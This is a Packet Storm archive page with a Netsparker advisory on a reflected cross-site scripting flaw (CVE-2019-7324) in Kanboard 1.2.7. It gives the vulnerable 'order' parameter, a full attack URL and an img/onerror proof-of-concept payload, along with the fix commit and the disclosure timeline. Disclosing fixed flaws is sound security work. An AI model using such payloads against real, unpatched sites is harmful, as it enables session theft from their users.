what you don't know can hurt you

Kanboard 1.2.7 Cross Site Scripting

Kanboard 1.2.7 Cross Site Scripting
Posted May 27, 2019
Authored by Mithat Gogebakan | Site netsparker.com

Kanboard version 1.2.7 suffers from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2019-7324
MD5 | 3d383484c926790e6537a6811c9bfcd5

Kanboard 1.2.7 Cross Site Scripting

Change Mirror Download
Reflected Cross-site Scripting Vulnerability in Kanboard 1.2.7

Information
--------------------

Advisory by Netsparker
Name: Reflected Cross-site Scripting in Kanboard
Affected Software: Kanboard
Affected Versions: 1.2.7
Homepage: https://kanboard.org/
Vulnerability: Reflected Cross-site Scripting
Severity: Medium
Status: Fixed
CVE-ID: CVE-2019-7324
CVSS Score (3.0): VA:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-19-001

Technical Details
--------------------

URL: http://localhost/kanboard-1.2.7/?controller=DashboardController&action=show&pagination=projects&user_id=1&page=1&order=%22%3E%3Cimg%20src=x%20onerror=alert(0)%3E
Parameter Name: order
Parameter Type: GET
Attack Patern: "><img src=x onerror=alert(0)>

Auth: required

Github: https://github.com/kanboard/kanboard/commit/83deec2e3621c40d15a06e2491f27571d32fe10f

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

30th January 2019 - First Contact
31st January 2019 - Vendor Fixed
27th May 2019 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Mithat Gogebakan while testing the Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanner finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities.

Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    6 Files
  • 8
    Aug 8th
    1 Files
  • 9
    Aug 9th
    2 Files
  • 10
    Aug 10th
    27 Files
  • 11
    Aug 11th
    11 Files
  • 12
    Aug 12th
    11 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close